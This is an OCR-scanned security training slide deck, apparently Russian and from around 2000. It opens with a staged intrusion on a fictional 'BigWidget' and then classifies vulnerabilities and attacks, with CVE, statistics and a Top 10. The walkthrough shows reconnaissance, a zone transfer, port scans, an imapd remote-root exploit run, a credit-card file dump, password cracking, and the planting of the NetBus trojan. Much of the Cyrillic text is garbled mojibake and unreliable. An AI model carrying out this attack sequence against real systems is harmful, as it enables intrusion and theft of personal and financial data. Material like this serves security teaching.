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Bookmarks ‘A Go to: |www.bigwidget.com

v | @7 what's Related

BigWidget

Company  Products  Services  Support

The Part That Fits™

Ml BigWidget Announces Titanium
Machining Capabilities

Big'Widget Incorporated announced today the
purchase of a Consolidated Conglomerate
abrastve waterjet cutter. This new machine wall

) alloW BigWic.iget' to offer advanged machining
services for titanium cogs and widgets.

More News...

o BioWideet aquires Spacely Sprockets for $17.3 million

e BioWideet announces record third quarter earnings

Copyright @ 1992 BigWidget Inc.
1234 Main Street - Anytown, USA 55555
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¥ Welcome to the InterNIC - Netscape (=13
File Edit “iew Go Communicator Help

€ » A D 2 £ S & @i
Back fForwad HReload Home  Search Guide Print Security  Siop
J " Bookmarks & Location: |http: AAwwwinternic.net/

ﬁ Instant Message Members Webh ail Connections BizJournal SmartUpdate Mktplace

Welcome to tdetwo_rk Solut-ions’%,,__,,m _‘_.l
IinterNIC Registration Services

Domain name registration services

The InterINIC provides domain name registration services for the
top level domains .ceri, .n2ef , .org, and .ediuz. Please visit the
What's New? page to see a listing of recently added features or
changes to the site.

+ Search the database of registered domain names using WHOIS:

NETWORK
SOLUTIONS® | bigwidget.com Search | Clear |

REGISTRATION SERVICES

+ Register a domain name: If you are registering a domain name for
the first time, please see How to Register a new domain name for
guidance.

+ Forms: Registration Services maintains a vanety of forms to assist you
in registering or transferring your domain name and modifiing yvour
domain name and associated records.

+ Resources: Links to everything from policies to payment options.

The InterNIC is a cooperative activity between the U.S. Government and Netword Solutions, Inc.

Please read our disclaimer.

CONTACT US | RESOURCES |HOW TO ... | FORMS | EAQ | SITE MAP | SEARCH | WHOIS

| Document: Done




}??{; InterNIC Registration Tool - Netscape

File Edit ¥Yiew Go Communicator Help

- w2 @B N a2 £ S & @
i Back Forwad Reload Home Search Guide Print Security Stop

' ‘5‘! " Bookmarks & Location:Ihttp:.e'a’www.intemic.net!cgi-binfitts.«’whois
v 4% Instant Message Members Webh ail Connections BizJournal SmartUpdate Mktplace

[ Home |[ ContactUs | Registration Services
V“"’ s RESOURCES HOW TO... FORMS FAQ SITE MAP SEARCH
NETWORK

[ Search for a Domaln Name | | ﬁogls ter a Domain Name

Inter NIC Template Tool Suite

Search for: | BIGWIDGET.COM Submit Query

Record last updated on 29-Jun-98.

Record created on 30-Jun-94.
Database last updated on 13-Oct-98 06:21:01 EDT.

Registrant:
BigWidget, Conglomerated. (BWC2-DOM)
1234 Main Street
Anytown, GA USA

omain servers in listed order:

EHECATL. BIGWIDGET 208.21.0.7
NS1.SPRINTLINK.NET 204.117.214.10
NS.COMMANDCORP.COM 130.205.70.10

Domain Name: bigwidget.com
Administrative Contact, Technical Contact, Zone Contact:

BigWidget Admin (IA338-ORG) bwc-dnsadmin@bigwidget.com
Phone- 678-555-1212
Fax- 678-555-1211

Billing Contact:
BigWidget Billing (IB158-ORG) BigWidget-billing@bigwidget.com

Phone- 678-555-1212
Fax- 678-555-1211
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"% Komananas crpoka - nslookup

Z:\>nslookup
DNS request timed out.
timeout was 2 seconds.
»¥x Can’t find server name for address 127.0.0.1: Timed out
»¥x Default servers are not available
Default Server: UnKnown
Address: 127.0.0.1

> server 194.226.94.9
DNS request timed out.

timeout was 2 seconds.
Default Server: [194.226.94.91
Address: 194.226.94.9

? -




PE?,- KomangHaa crpoka - nslookup

> server 194.226.94.9
DNS request timed out.

timeout was 2 seconds.
Default Server: [194.226.94.91]
Address: 194.226.94.9

> 1s —d infosec.ru

[[194.226.94.

infosec.ru.
081702 28800

infosec.ru.

infosec.ru.

infosec.ru.

infosec.ru.
pr

mail

un

un

wuw

wwwl

ftpl

infosec.ru.
?81702 p4:14010}

211
7200 604800 86400

SOA
NS

7200 604800 86400

CNAME
A

MX

A

ns.rfnet.ru hostmaster.ns.rfnet.ru.

ns.icn.gov.ru
ns.rfnet.ru

10 pr.infosec.ru
20 relay.rfnet.ru
194.135.141 .98
un.infosec.ru
194.135.141 .99

10 un.infosec.ru
194.154.77.109
un.infosec.ru
un.infosec.ru
ns.rfnet.ru hostmaster.ns.rfnet.ru.

(19299

(1999




. Nmap Free Security Scanner

Sl Network-wide ping sweep, portscan, OS Detection

I.F M

Shadow Scan.Ink

[hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by fyodor@insecure.org (
www.insecure.org/nmap/ )

Interesting ports on (200.0.0.143):

(The 1516 ports scanned but not shown below are in state: closed)
Port  State  Service

21/tecp open ftp

25/tcp open smtp

80/tcp open http

135/tcp open loc-srv

139/tcp open netbios-ssn

443/tcp open https

465/tcp open smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second



hacker: ~$ telnet bigwidget.com 25

Trying 10.0.0.28... !

Connected to bigwidget.com

Escape character is '*]'.

Connection closed by foreign host.

hacker:~$ telnet bigwidget.com 143

Trying 10.0.0.28...

Connected to bigwidget.com.

* OK bigwidget IMAP4revl Service 9.0(157) at Wed, 14 Oct 1998 11:51:50 -0400
(EDT)

(Report problems in this server to MRC@CAC.Washington.EDU)

logout

* BYE bigwidget IMAP4revl server terminating
connection
OK LOGOUT completed

Connection closed by foreign host.
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Back Forwed Reload Home Search  Guide Print  Security  Stop i

J' Bookmarks A Location:Ihttp:a’/www.rootshell.com.-’betaf‘news.html j
ﬁlnstantMessage Members @ WebMail @ Connections @ BizJournal @ SmartUpdate @ Mktplace

no shirt,

Do you have secunty related news? Please e-mail it to news(@rootshell com.

exploits ()

OpenSite Web Auctions truely open

Q724798 8:22AM PDT

Opensite Technologies, Inc. has a product allowing sites to offer Web Auctions. Apparently most sites using this software
have it misconfigured and anyone browsing their site has access to users credit cards and personal information. If you are a
user of this software please contact OpenSite for information on securing your website.

+ news.com - Auctions close major secunty hole

Fraud alleged in the transfer of ownership of Thailand.com site

9723798 1.40PM FPDT

Do you rely on DNS for authentication. If you do then this 1s another reason to think twice. Under current InterNIC policy it
1s quite easy to steal someones domain and make the courts figure it out later.

+ bangkokpost.net - Fraud alleged in the transfer of ownership of Thatland. com site

+ www.thaland.com

documentation ()

Rootshell t-shirts coming soon!
9722798 11:28AM PDT

Rootshell t-shirts are coming soon! In order to anticipate demand if you think you might be interested in purchasing a t-shirt
please click on this link. It is looking like t-shirts will be priced somewhere around $15-§18 US. If you have any design |
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3 Welcome to Rootshell | Hosted by connectnet.com - Netscape
File Edit View Go Communicator Help

v » A

Forward Reload

Y o £ S & B

Home Search Guide

N

J' Bookmarks “. Location:’http:f'.-’www.rootshell.com»“search.fcg

;;I &InstanlMessage @ Members @ Webh ail @ Connections @ BizJournal @ SmartUpdate @ Mktplace

Kl

|»

Connect from dhepl74-180.1ss.net [208.27.174.180] (Mozilla/4.05 [en] (WinNT; D)logged.

71798

4/13/98

Rootshell search results

e s INew remote root explott in University of Washington imapd 4. (that came with

_[Luke_Skyw'w Imap Pack 1.03 - exploit imapd attack vunerable hosts.

mpack103.tar.o ! ; S
R == |(Warning: contains untested binaries)

| 2/19/98 iimapd core.txt ’r‘-}-fhen imapd coredumps, the core will have encrypted shadowed passwords.

’Serveral different versions of the remote imapd buffer overflow exploit.

111/21/97 |imap:

]
]10»‘301‘9?

| 9/26/97

| 6124197

B 38%of12K

Jimﬁp R Tt's possible to crash inapd, thus leawing shadow and password files in core
} Ap)« v . L

(imar:-d scan.sh lThis script will scan (and exploit) an entire subnet for imap2 vulnerabilitles.

imapd exploit.c {Get remote root access on Redhat systems by overwriting a buffer in impad.

Sl e il P2 NZ | 2



.}',%Welcome to Bootshell | Hosted by connectnet.com - Netscape
File Edit View Go Communicator Help

2 » D D} 2 £ 95 & B

Back Foward Relobad Home Search Guide Print  Security  Stop

] ,,,& " Bookmarks &. Location: lhttp: £ 2wvaw rootshell. com/archive-1457nxiqi3gqb9dy/ 199707 Yimapd_exploit.c.html
&%InstantMessage @ Members @ Webh ail @ Connections @ BizJournal @ SmartUpdate @ Mktplace

¥l

To: neighborehome.org
From: neighborehome.org
Subject: Hope you had a nice vacation

Download NON-HTML Version | Add Comment | View Comments (1 comment(s))

.,a’x

This is the remote exploit of the hole in the imap daemon, for

Linux. The instruction code 1is doing open(), write(), and close/()
system calls, and it adds a line root::0:0.. at the beggining of
/fete/passwd (change to /fetc/shadow if needed). The code needs to
he self modifyving since imapd turns everything to lowercase bhefore
it pushes it on the stack. The problem 1is that it rewrites the
first line of passwd/shadow, therefore loosing the root password.

I'm sorry, but I don't have time to add in the seek syscall.
- Akylonius (akvlgaleb.etf.bg.ac.yu) [1997]

Modifications made on 5.1.97 to accept comwmand line hostnawme, with
'h to_ip' function that resolves it to an ip. - pl (plBel3.orqg)

=

=yl | Document: Done =lse e A2 N2 |




hacker ~$ ./imap exploit bigwidget.com

IMAP Exploit for Linux.
Author: Akylonius (aky@galeb.etf.bg.ac.yu)
Modifications: pl (pl@el8.orq)

Completed successfully.

hacker ~$ telnet bigwidget.com
Trying 10.0.0.28...

Connected to bigwidget.com.

Red Hat Linux release 4.2 (Biltmore)
Kernel 2.0.35 on an i686

login - root
bigwidget:~# whoami
root

bigwidget:~# cd /etc
bigwidget:~# cat ./hosts

127.0.0.1 localhost localhost.localdomain
208.21.2.10 thevault accounting
208.21.2.11 fasttalk sales

208.21.2.12 geekspeak engineering
208.21.2.13 people human resources
208.21.2.14 thelinks marketing

208.21.2.15 thesource information systems

bigwidget:~# rlogin thevault

-




thevault:~# cd /data/creditcards

thevault:~# cat visa. txt

Allan B. Smith 6543-2223-1209-4002 12/99
Donna D. Smith 6543-4133-0632-4572 06/98

Jim Smith 6543-2344-1523-5522 01/01
Joseph L.Smith 6543-2356-1882-7532 04/02
Kay L. Smith 6543-2398-1972-4532 06/03

Mary Ann Smith 6543-8933-1332-4222 05/01
Robert F. Smith 6543-0133-5232-3332 05/99

thevault:~# crack /etc/passwd
Cracking /etc/passwd...

username: bobman password: nambob

username: mary password: mary
username: root password: nccl7701

thevault:~# ftp thesource

Connected to thesource
220 thesource Microsoft FTP Service (Version

ﬁé%é? administrator
331 Password required for administrator.

Password: ***x*x*x*x%

230 User administrator logged in.

Remote system type is Windows NT.
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pj‘ Click Here To Support Our Sponsors

Description

Click Here To Support Our Sponsors
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Contact
Back Orifice

connection
- Size: 277 kb

- Accesses a specific port on

- Size: 970 kb
NetBus 1.6

server,
- Size: 513 kb

Sockets de Troie

and telnet.

- Size: 446 kb

- A remote administration system which allows a user to control a3 computer across a tcpip

Master's Paradise 98 Beta 9.7
an exploited system. Also contains a game file which you can
send to people to get their port open.

- Can do basically anything you want to another computer that is exploited with the trojan

-Accesses a specific port on an exploited system. also contains a domain scanner, finger,
icmper, icq stuff, ip converter, mail bomber, port bomber, port scanner, a search registry net,

About | Advertise | Disclaimer | Linking
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ftp> cd \temp
250 CDW command successful.

ftp> send netbus.exe

ftp> local: netbus.exe remote: netbus.exe

200 PORT command successful.
150 Opening BINARY mode data connection for

petbesag3€er complete.
ftp> quit

thevault:~$ telnet thesource

Trying 208.21.2.160.
Connected to thesource.bigwidget.com.
Escape character is '*]'.

Microsoft (R) Windows NT (TM) Version 4.00 (Build

*2§%Ame to MS Telnet Service
Telnet Server Build 5.00.98217.1
login: administrato

T,
password: *xxx%x%x%

*

Welcome to Microsoft Telnet Server.
*

3 i
====gd=\rtemp

C:\TEMP> netbus.exe
C:\>
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E?@e:B’J‘ .@ABC

o ga Finance@BigWidaget.c, My Raise <Urgent>
Network :
Neighborhood
i
Eudora . @ Programs o: President@bigwidget.com
#-f User Groups . David Smith < dsmith@bigwidget.com >
- Subject: |y Raise < URGENT >
25N '«
Ci e
bd's Bcc:
Netscape Attached:
[??’ Dear Mr. Smith
I;]W | would like to thank you for the huge raise that you have seen fit to give me. With my
ACTI new salary of $350,000.00 a year | am sure | am the highest paid mail clerk in the
ALT! company. This really makes me feel good because | deserve it.
M Your Son,
2]
CD Player
Dave
)
Pilat

PointCast

o4

Recycle Bin

=
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BigWidget

Company  Products  Services  Support

The Part That Fits™

Ml BigWidget Announces Titanium
Machining Capabilities

Big'Widget Incorporated announced today the
purchase of a Consolidated Conglomerate
abrastve waterjet cutter. This new machine wall

) alloW BigWic.iget' to offer advanged machining
services for titanium cogs and widgets.

More News...

o BioWideet aquires Spacely Sprockets for $17.3 million

e BioWideet announces record third quarter earnings

Copyright @ 1992 BigWidget Inc.
1234 Main Street - Anytown, USA 55555
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Dear WebMaster/Admin - YOUR SECURITY IS A TOTAL JOKE!
We rooted your box in like five minutes.

Thanx for all the credit card numberz Big Wedgie.
And like, free Kevin Mitnick!!
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2 YTpO3bl, YI3BUMOCTU U aTaKn

L 2

X ygposa - [IomeHyua/ibHO BO3SMO>XHOE cobbimue,
‘AB/IeHuUe usiu rnpoyecc, Komopoe Bo3oelicmasys

Ha KOMIMOHEHMbI UHGhOPMAYUOHHOU cucmemsbl
MOXem rpusecmu K HaHECEHU!o yujepoba.

® Yaszsumocms - 1106ass xapakmepucmuka uau
cBolicmBOo UHhopmMayUuoHHOU cucmemsl,
UCMo/Ib30BaHUe Komopou Hapywumesiem
MOXKem npusecmu K peasiusayuu y2po3sbil.

Amaka - oelicmsue Hapywumesisi, KOmopoe

fpuBOOUM K peasiu3ayuu yepo3bl mymem
UCrnosIb308aHuUs ysi3sumMocmel

UHGhopmMayuoHHoOU cucmemsil.

Cnawnpg 29
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Knaccudukauums
YA3BUMOCTEWN
y350B, MNPOTOKOJIOB
n cnyxo IP - ceTem



__aw Knaccudmkaums no ypoBHIo
L B MH(POPMaLMOHHOIA
b2 NHPppPaACTPYKTYypE

1 YposeHb nepcoHasia

| ¥YposeHsb ripusioxeHuu

| YposeHb 6a3 0aHHbIX

| YposeHb onepayuoHHoUl cucmemsl
| YposeHb cemu

Cnaung 31



3

o ¢ Knaccudmkauma yasBuMocTen
?i‘ Mo NPUYMHAM BO3HUKHOBEHUS

| owubku npoekmupoBaHus
(mexHos102ul, rMPoOMmMoKo/108, C/1yX06)

owubku peasuzayuu (npozspamm)

v
owubKU 3Kcn/lyamayuu

| (Hernpasu/ibHasi HacmMpouKa,
Heucrio/ib3yeMble cemesble C/1yXKObl,
c/1abble naposiu)

Cnawnpg 32 HAYYHO-UH)XXEHEPHOE “[TPEANPUATUE



Knaccudwmkaunsa yasBumocTten
‘MO YPOBHIO (CTerneHu) pucka

YPOBEHb PUCKA

Ysizsumocmu, no3soJsisirnujue amaxkyrowemy
rnoJsiydums HernocpeocmaseHHbIlU docmyn y y3/y €
npasamMu cyreprnosib3o8ame/is

v
v

CpedHUL ypoBEHb puCKa

Hu3skul yposeHb pucka p—

ya3sumocmu, no3sosisrowjue 3/10yMbIW/1€HHUKY

ocyujecmssiimb c60p Kpumu4Holi UH¢hopmayuu
o cucmeme

Cnanpg 33 HAYYHO-MHXXEHEPHOE “[IPEAMNPUSTUE



NCcTOUYHMKN nHpopmaLnin

N{* O HOBbIX YA3BUMOCTSAX
-
Wwvucert.org - KOOanHaL{UOHHbIlj qump
CERT/CC

WWW.ISS.net/xforce - 6a3a 0aHHbIX KoOMraHuu ISS
linl.ciac.gov -~ uyeHmp CIAC

www.cert.ru - poccuuckuu CERT/CC

www.securityfocus.com
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’3 Internet Security Systems, Inc. : X-Force - Microsoft Internet Explorer
] File Edit “iew Favortes Tools Help
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R S < W A L &3 | &
Back Forward Stop  Refresh Home Search Favorites  History Print Edit Discuss

J'A_c_ldress IE http: //#force.iss.net/

lNTERNET
SECURITY X-Force

SYSTEMS keywmd I Advanced Search

X-Force

THE WORLD'S #1 RESOURCE FOR
y COMPUTER THREATS & VULNERABILITY

[J Serious Fun

O Mail Lists ;

O Protowort

g Submissions * Buffer Overflow in Microsoft ¥Windows NT 4.0 and ¥Windows 2000
Sl Metwork Monitor - (November 1, 2000)

search by:
| Platform

EI Serious flaw in Microsoft IS UNICODE translation - (October 26,
2000)

sort by: *® “Yulnerability in the Oracle Listener Program - {October 25,

[Vulnerability Name ¥} 2000)

display: * Widespread incidents of SubSeven DEFCOMNS 2.1 Backdoor -
el (October 8, 2000)

IA" Mt ZI ® |Insecure call of external programs in Red Hat Linux tmpwatch -

display results: {October 6, 2000)

|In increments waZI * GNU Groff utilities read untrusted commands from current
waorking directory - ({October 4, 2000)

Search Dotobase ® Multiple vulnerabilities on all platforms and versions of Check Ll

Mlmnd Cluebfdall 4 L PR SR SEPE L b a Fa Fa Fal |

|| |4 Intemet

Cnawnpg 35



Mpumepbl YA3BUMOCTEN

ip-fragment-reassembly-dos

OnwucaHlue: roceirika 6orbuo20 Yucria 0OUHaKo8bIX
ppaameHmos IP-Oamazpammsi rnpusooum K HedocmyrnHocmu
y3r1a Ha 8peMs amaku

YpOBEHbL: CEeTb

CTeneHb puUcKa: cpegHsAs w

NCTOYHUK BO3HUMKHOBEHUS: OLUMOKU peann3aunm

Cnawnpg 36



Mpumepbl YA3BUMOCTEN

nt-getadmin-present

OﬁuéaHMe: npobriema oOHouU u3 yHKkuuu-a0pa OC Windows

NT, no3eonsrowasi 3/10yMbIUEHHUKY AOy4YuUms ripususeauu
aoMuHUcmpamopa

YpoBeHb: OC

CteneHb pucka: BbICOKas

NCTOYHUK BO3HUKHOBEHUS: OLUMOKU peann3aunm

Cnaung 37



Mpumepbl YyA3BUMOCTEN

aHue: mssql-remote-access-option

OnCanmne: ys38uMOoCmb 8 peanu3ayuu 803MOKHOCMU
MOOK/1FO4eHUS cOo cmopoHbI Opyaux SQL-cepsepos

YpoBeHb: CYB[

CteneHb pucka: HU3Kas

NCTOYHUK BO3ZHUKHOBEHMUS: OLUMOKU peann3aunm

Cnaung 38



Mpumepbl YA3BUMOCTEN

ue: ilis-url-extension-data-dos

OnwucaHue: rioceisika b6orbwo2o Yyucria HEKOPPEKMHO

TOCMPOEHHBIX 3arpocos8 rnpusodum K MO8bILUEHHOMY Pacxody
pecypcos rpoueccopa

YpoBEeHb: MNPUINOXEeHUA

CTeneHb puUcKa: cpegHsAsa w

NCTOYHUK BO3HUMKHOBEHUS: OLUMOKU peanu3aunm

Cnaung 39



Mpumepbl YA3BUMOCTEN

Eme: win-udp-dos

OnMCéHMe: OC Windows 2000 u Windows 98 ysa3s8umbi kK amake

«0mkKa3s 8 0bcny»xueaHuu», 8bI3bieaeMol uc4HepraHUeM 8cex
UDP-cokemoes

YpoBEeHb: MNPUINOXEeHUA

CTeneHb puUcKa: cpegHsAsa w

NCTOYHUK BO3HUMKHOBEHUS: OLUMOKU peanu3aunm

Cnaung 40



Mpumepbl YA3BUMOCTEN

HUMe: win95-back-orifice

OnucaHue: y3es 3apaxeéH cepgepHOU Yacmbsio MPOSIHCKO20
KOHS, No3eofisrouiel ycmaHo8UMb MoJIHbIU KOHMPOsIb Hao
Y3/10M

YpoBeHb: [lepcoHan

CteneHb pucka: BbICOKas

NCTOYHMK BO3HUKHOBEHUSA: OLUMOKMN 0OCNyXUBaHUA
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Common Uulnerabilities and Exposures

m The Key to Information Sharing

EovHaa cuctema HammMeHOBaHUN ONS YA3BUMOCTEN

CtaHpgapTHOE onucaHue And Kaxaowu ya3BUMOCTHU

Ob6ecneyeHne COBMECTUMOCTHU 6a3 AaHHbIX YI3BUMOCTEM

http://cve.mitre.org/c

VE
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Common Uulnerabilities and Exposures

CAN-1999-00 Kanaupat CVE
A7

!

CVE-1999-00 UHpekc CVE
b7

http://cve.mitre.org/c

Cnawnpg 43 Ve



Cutyauusa 6e3 CVE

»
-2
Bugtra NT4-SP3and 95
g

[latierra.cl

ISS Lan
RealSecure d
~  CERT Advisory CA-97.28.Teardrop Lan
d
" Cisco Database Impossible TP
Packet
Axent land attack (spoofed
NetRecon SYN)J

YaszsumocTtb Land IP denial of service
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NMNoapnepxka CVE

ugtra = ISS
g RealSecure

®+ = Cisco Database
.éﬂ Advisory . Axent

NetRecon

CVE-1999-0016 Land IP denial of service
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CVE entry

Arbitrary command execution via IMAP
buffer overflow in authenticate command.



CtaTmcTmkKka

YyA3BUMOCTEN
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KonuyectBO BbisiBrNieHHbIX ysa3aBumocten OC no rogam

:,ﬁ“? (Ha4ano)
OnepaﬁMOHHaﬂ cucrema 1997 1998 1999 2000

AlX 20 38 10 3
BSD (aggr.) 8 8 267
BSD/OS

BeOS

Debian
FreeBSD
HP-UX

IRIX

Linux (aggr.)
\EISON

MacOS X Server

N O R~ DN OO
oo O

o
o
—_ =2 2 OINDN O O
o W
001800\1—\I\)O-l>
OO%C}O-BCDO'I-BO
W
o

N
o
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KonuyectBO BbisiBrNieHHbIX ysa3aBumocten OC no rogam

eﬂﬁ"? (OKOHYaHue)
OnepaﬁMOHHaﬂ cucrtema 1997 1998 1999 2000

NetBSD 1 4 103
NEWYEIE O 0 4 1
OpenBSD 1 2 4 2
RedHat 5 10 38 17
SCO Unix 1 3 9 2
Slackware 3 8 100
Solaris 24 31 34 7
SuSE O 0 215
Unixware O 3 142
Windows 3.1x/95/98 1 1 46 13 =
Windows NT 4 6 99 37
Windows 2000 - - - 21
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Top Vulnerable Packages 2000

P ‘) (3a nepBoe nonyroaue)

Microsoft Windows NT 4.0 34
Microsoft Windows NT 2000 21
RedHat Linux 6.2 i386 13

RedHat Linux 6.1 i386 13

Microsoft Windows 98 13

Microsoft Windows 95 12

Microsoft IIS 4.0 12

Microsoft BackOffice 4.5 12

Microsoft BackOffice 4.0 12

RedHat Linux 6.0 i386 10

RedHat Linux 6.1 sparc 9

RedHat Linux 6.1 alpha )

Microsoft IIS 5.0 8

RedHat Linux 6.2 sparc 7

RedHat Linux 6.2 alpha 7

Microsoft Internet Explorer 5.0 for Windows NT 4.0 7
Microsoft Internet Explorer 5.0 for Windows 98 7
Microsoft Internet Explorer 5.0 for Windows 95 7
TurboLinux Turbo Linux 6.0.2 (§]
TurboLinux Turbo Linux 4.4 6
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Knaccudukauma
aTtak B |IP- ceTax
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| 3 no uensim

%

_"HapyweHue Hopma/lbHO20 (hyHKUUOHUPOBAHUS
obbekma amaku (omka3s 8 06¢c/1y)xusaHuu)

o
/4 I"

xy, _ 7
¢ |
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: 4"«  Knaccudumkauunsa atak

-~




& Knaccudomkayusa atak
:&; no uensim

| "HapyweHue Hopma/ibHO20 (hyHKUUOHUPOBAHUS
obbekma amaku (omka3s 8 06¢c/1y)xusaHuu)

| TNony4yeHue KoHgbuoeHyuasibHoU UHghopmayuu

‘ ‘ ‘ o
g "‘:i‘“\
Y «‘\'?\

N

0P e e e e
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w Knaccudomkayusa atak
:i' no uensm

| "HapyweHue Hopma/ibHO20 (hyHKUUOHUPOBAHUS
obbekma amaku (omka3s 8 06¢c/1y)xusaHuu)

| TNony4yeHue koHgbuoeHyuasibHoU UHghopmayuu

_ | Mooubukayusi usu cbasibcuhuxkayusi
KPUMUYHbIX OaHHbIX -
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. Knaccudgukauma atak
il no uensm

e

_ | "HapyweHue HopmMma/lbHO20 QYYHKUUOHUPOBAHUS
obbekma amaku (omka3s 8 06¢c/1y)xusaHuu)

| lNony4yeHue KoHuoeHyuaibHoU UHgbopmayuu

| Mooupukayus usu ghbasibcupukayusi
KPUMUYHbIX OaHHbIX

| TlonyyeHue no/iHo2o0 KOHMPOJ/isi Hao

06bBbeKmomMm amaku
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Knaccudpmkaums atak
No MoTuBaLun O0eNcTBUN

4
- 1
\

M| cayyaliHocmb
@ (xanamHocms, HEKOMINemeHMmMHOCMb)

=

N
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Knaccudmkauusa atak
No MoTuBaLun O0eNcTBUN

| c/lydauHocmb
(xasnamHocmse, HEKOMINemeHMmMHOCMb)

v, camoymsepxoeHue (/1robornsbImcmaso)
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Knaccudpmkaums atak
No MoTuBaLun O0eNcTBUN

: d&‘ y
| c/lydauHocmb

(xanamHocmbs, HeKOMIemeHMmMHOCMb)
v, camoymsepxoeHue (/1t060ornbImcmaso)

‘ 'a" v, BaHoas/1u3m
& /
Y
¢ =
%%
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Knaccudpmkaums atak
No MoTuBaLun O0eNcTBUN

| c/lydauHocmb
(xasnamHocmse, HEKOMINemeHMmMHOCMb)

v, camoymsepxoeHue (/1t060ornbImcmaso)
v, BaHOAa/1u3m

~ MPUHY>X0eHue
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Jiid Knaccudpmkaums atak
L no MmoTuBauun AenNcTBUN

| c/lyHauHocmb
(xanamHocmbs, HeKOMIemeHMmMHOCMb)

v, camoymsepxoeHue (/1t060ornbImcmaso)

-~ BaHoas/iu3m

~ MPUHY)XOeHue

MecCmb

-

‘0,0
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Knaccudpmkaums atak
no MmoTuBauuun AeCTBUN

-

| c/lyHauHocmb
(xanamHocmbs, HeKOMIemeHMmMHOCMb)

v, camoymsepxoeHue (/1t060ornbImcmaso)

— Ba@Hoas1u3m

— TPUHY)X0eHue

AP  Mecmb

| KOpbICMHbIU UHMepec

NN
N
N
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| Knaccudpnkauusa arak
- MO MECTOHaXOXAeHUIo
"\ atakyiowwero n 06beKTa aTakm

| Amakyrowuli U 06beKM amaku
Haxoosimcsi 8 OOHOM ceaMeHme

e ®:
§ ?
.« | 8 .

| Amakyrowuli u 06bekm amaku
Haxo0siImcsi 8 pa3HbIX ceameHmax

- = Fe
5 5 &)
N \ \
@ < | W
MapLupy-

| TM3arTop
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4

v

v
v

v

Knaccundomkauusa atak no
MexaHu3mMam peannsauuu

[laccusHoe npoc/1ywusaHue

[lodo3pumesibHasi akmusHOCMb (pa3seoka)

becrosie3Hoe pacxodoBaHue BbI4UC/IUME/IbHbLIX
pecypcos (nepezpyska)

HapyweHue Hasuzayuu (/10XXHbIU Mapuwipym)

[posoyuposaHue omkasa o6bekma (KOMNoOHEHMA)

3arnyck kooda (npozgpamMmel) Ha 06bekme-amaku
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Ctatnctuka no
VA3BUMOCTAM
N aTaKkam

3a 2000 ron

UCTOYHMK:
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o Top 10
"

ial of Service Exploits

. Weak Accounts

. 1IS (Microsoft Internet Information Server)

- &

| 10. Linux Buffer Overflows \
nang.

2
3
4
5. E-Business Weh Applications
6
7
8
9




Linux Buffer Overflows

o

;‘: Wu-ftp BO

« IMAP BO

e JQpopper BO

e Overwrite stack

e Common script kiddie exploit

e Poor coding standards
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Top 10

-
W
.

3. lIS (Microsoft Internet Information Server)
4. 0Open Datahases
5. E-Business Weh Applications

6. Open Sendmail

7. File Sharing
8. RPC
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. A Yassumoctu BIND
o |
we BIND ginv
- Compile flag turned on by default, activated
buffer-overflow, client request to server, script
kiddie
e BIND nxt

- Server to server response, buffer handling
overflowable, more advanced

e Exposure outside firewall
e In.Named binary

X Sun.

microsystems
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o3 Top 10
=

Kk Accounts

3. IS (Microsoft Internet Information Server)
4. Open Datahases

5. E-Business Weh Applications

6. Open Sendmail

7. Hie Sharing

s. RPG (Remote Procedure Calis)
Cnavnpg 71 \



N«RPC (Remote Procedure Calls)

e

e rpc.cmsd (sun-rpc.cmsd) s

e rpc-statd (sun-rpc-statd) %’Sgﬂ
e Sadmin (sol-sadmind-amslverify-bo)
« Amd (amd-bo)

e« Mountd (linux-mountd-bo)
e Major script kiddie fodder
e Helped Enabled DDOS
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- Top 10
\4

al of Service Exploits
-~
¥

¢

’ 'y
Accounts

3. [IS (Microsoft Internet Information Server)

4. Open Datahases
5. E-Business Weh Applications

6. Open Sendmail

7. Fle Sharing
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_eh File Sharing

e NFS

e Impact is Affecting
Cable Modem and DSL Users

e Sensitive info-1.e., Banking account
e Backdoor install
e + + Rhosts gna Unix - cepBepoB
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- Top 10
‘_

lal of Service Exploits

Neak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases

5. E-Business Weh Applications

6. Open E-mail (3NeKTPOHHAA NouTal
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DNEeKTPOHHaA noyTta

N\x

‘%endmall Pipe Attack (smtp-pipe)

e Sendmail MIMEbo “root access”
(sendmail-mime-bo?2)

e Incoming viruses, LOVE

e Many localhost getroot exploits for
sendmail

e Attacks may by-pass firewalls that allow
iIncoming email directly to internal
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-

3. lIS (Microsoft Internet Information Server)

4. Open Datahases

5.  E-Business Weh Applications
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. _aE-business Web Applications

N},

?NetscapeGetBo (netscape-get-bo) “control
server”

e HttpIndexserverPath (http-indexserver-path)
“path info”

e Frontpage Extensions (frontpage-ext) “readable
passwords”

e FrontpagePwdAdministrators

(frontpage-pwd-administrators) “reveal pwdgi}

Netscape

Netcenter

Cnang 78



3. lIS (Microsoft Internet Information Server)

4. Open Databases
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34" Open Databases
‘.

Oracle default account passwords
e Oracle setuid root oratclsh
e SOL Server Xp_sprintf buffer overflow
e SOL Server Xp_cmdshell extended
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o Top 10

3. IS (Microsoft Internet Information Server)
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1S (Microsotft Internet Information
- Server)

T

-4 2

e

e RDS

e« HTR

« Malformed header

« Htdig Remote Shell Execution

e PWS File Access

e CGI Lasso “read arbitrary files”

e PHP3 safe mode metachar remote execution
e PHP mlog.html read files
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e Top 10

ial of Service Exploits

2. Weak Accounts (cnabbie naponu)
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Chnabble naponn

e BlOgXKEThI MO yMONYaHuio  EHIINAAT

- Routers twvovaoni:
- Servers

e No set Passwords for admin/root
accounts

e SNMP with public/private community
strings set
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Top 10

1. Denial of Service Exploits
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ATakn «Denial of Service»

e Trinity

e TEN

e TFN2k aij

e Trin00 TN CNNJ
e Stacheldraht

e FunTime

- Windows platform (W9x/2K/NT)
- Preprogrammed for specific time and target

e All are distributed for maximum effect
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nie Top 10

1. Denial of Service Exploits .

L
2. Weak Accounts

3. IS (Microsoft Internet Information Server)

4. Open Databases —

5. E-Business Weh Annliations

7. File Sharing

3. RPC
o. Bind

o0 10 Linux Buffer Overflows



